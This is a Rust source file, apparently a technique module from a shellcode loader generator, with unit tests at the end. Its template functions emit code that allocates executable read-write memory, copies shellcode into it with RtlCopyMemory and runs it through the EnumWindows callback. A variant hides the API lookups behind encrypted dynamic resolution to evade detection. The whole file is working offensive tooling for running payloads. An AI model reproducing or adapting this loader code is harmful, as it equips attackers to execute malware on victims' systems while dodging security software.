pub fn enum_windows_import() -> String {
     r#"
 use std::ptr;
 "#
     .to_string()
 }
 
 pub fn enum_windows_const() -> String {
     r#"
 const MEM_COMMIT: u32 = 0x1000;
 const MEM_RESERVE: u32 = 0x2000;
 const PAGE_EXECUTE_READWRITE: u32 = 0x40;
 
 #[link(name = "user32")]
 extern "system" {
     fn EnumWindows(
         callback: *const std::ffi::c_void,
         lparam: isize,
     ) -> i32;
 }
 
 #[link(name = "ntdll")]
 extern "system" {
     fn RtlCopyMemory(
         destination: *mut std::ffi::c_void,
         source: *const std::ffi::c_void,
         length: usize,
     );
 }
 "#
     .to_string()
 }
 
 pub fn enum_windows_init() -> String {
     String::new()
 }
 
 pub fn enum_windows_process() -> String {
     r#"
     unsafe {
         let addr = VirtualAlloc(
             ptr::null_mut(),
             shellcode.len(),
             MEM_COMMIT | MEM_RESERVE,
             PAGE_EXECUTE_READWRITE,
         );
 
         if addr.is_null() {
             panic!("failed");
         }
 
         RtlCopyMemory(
             addr,
             shellcode.as_ptr() as *const std::ffi::c_void,
             shellcode.len(),
         );
 
         let result = EnumWindows(addr, 0);
 
         if result == 0 {
             panic!("failed");
         }
     }
 "#
     .to_string()
 }
 
 fn generate_enum_windows_template(function_name: &str) -> String {
     super::common::TechniqueTemplateBuilder::new()
         .with_import(enum_windows_import())
         .with_const(enum_windows_const())
         .with_init(enum_windows_init())
         .with_process(enum_windows_process())
         .build(function_name)
 }
 
 pub fn generate_enum_windows_code(function_name: &str) -> String {
     generate_enum_windows_template(function_name)
 }
 
 fn enum_windows_process_with_dynamic_resolver(
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> Result<String, String> {
     use super::dynamic_common::*;
 
     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
     let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
     let enum_windows = enum_windows_resolver(encryptor)?;
 
     Ok(format!(
         r#"
     unsafe {{
         {virtual_alloc_resolver}
         {virtual_alloc_cast}
 
         let addr = virtual_alloc(
             ptr::null(),
             shellcode.len(),
             MEM_COMMIT | MEM_RESERVE,
             PAGE_EXECUTE_READWRITE,
         );
 
         if addr.is_null() {{
             panic!("failed");
         }}
 
         {rtl_copy_memory_resolver}
         {rtl_copy_memory_cast}
 
         rtl_copy_memory(
             addr,
             shellcode.as_ptr() as *const std::ffi::c_void,
             shellcode.len(),
         );
 
         {enum_windows_resolver}
         {enum_windows_cast}
 
         let result = enum_windows(addr, 0);
 
         if result == 0 {{
             panic!("failed");
         }}
     }}
 "#,
         virtual_alloc_resolver = virtual_alloc.resolver_code,
         virtual_alloc_cast = virtual_alloc.cast_code,
         rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
         rtl_copy_memory_cast = rtl_copy_memory.cast_code,
         enum_windows_resolver = enum_windows.resolver_code,
         enum_windows_cast = enum_windows.cast_code,
     ))
 }
 
 fn generate_enum_windows_template_with_dynamic_resolver(
     function_name: &str,
     _encryption_type: &str,
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> Result<String, String> {
     let process_code = enum_windows_process_with_dynamic_resolver(encryptor)?;
 
     Ok(super::common::TechniqueTemplateBuilder::new()
         .with_import(enum_windows_import())
         .with_const(enum_windows_const())
         .with_init(enum_windows_init())
         .with_process(process_code)
         .build(function_name))
 }
 
 pub fn generate_enum_windows_code_with_dynamic_resolver(
     function_name: &str,
     encryption_type: &str,
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> String {
     generate_enum_windows_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
         .unwrap_or_else(|err| {
             panic!(
                 "Failed to generate EnumWindows code with dynamic resolver (encryption: {}): {}",
                 encryption_type, err
             )
         })
 }
 
 pub struct EnumWindowsGenerator;
 
 impl super::trait_generator::TechniqueGenerator for EnumWindowsGenerator {
     fn generate_code(&self, _process: &str, function_name: &str) -> String {
         generate_enum_windows_code(function_name)
     }
 
     fn generate_code_with_dynamic_resolver(
         &self,
         _process: &str,
         function_name: &str,
         encryption_type: &str,
         encryptor: &dyn crate::encryption::Encryptor,
     ) -> String {
         generate_enum_windows_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
     }
 
     fn requires_process(&self) -> bool {
         false
     }
 
     fn name(&self) -> &'static str {
         "EnumWindows"
     }
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
 
     #[test]
     fn test_generate_enum_windows_template_contains_all_parts() {
         let template = generate_enum_windows_template("MyFunction");
         assert!(template.contains("use std::ptr"));
         assert!(template.contains("MEM_COMMIT"));
         assert!(template.contains("fn MyFunction"));
         assert!(template.contains("VirtualAlloc"));
         assert!(template.contains("EnumWindows"));
     }
 
     #[test]
     fn test_generate_enum_windows_code() {
         let code = generate_enum_windows_code("MyRandomFunc");
         assert!(code.contains("fn MyRandomFunc"));
         assert!(code.contains("EnumWindows"));
     }
 
     #[test]
     fn test_enum_windows_does_not_use_process_param() {
         let code = generate_enum_windows_code("TestFunc");
         assert!(!code.contains("notepad.exe"));
     }
 }

© 2024 - 2026 djnn, inc • generated with stagit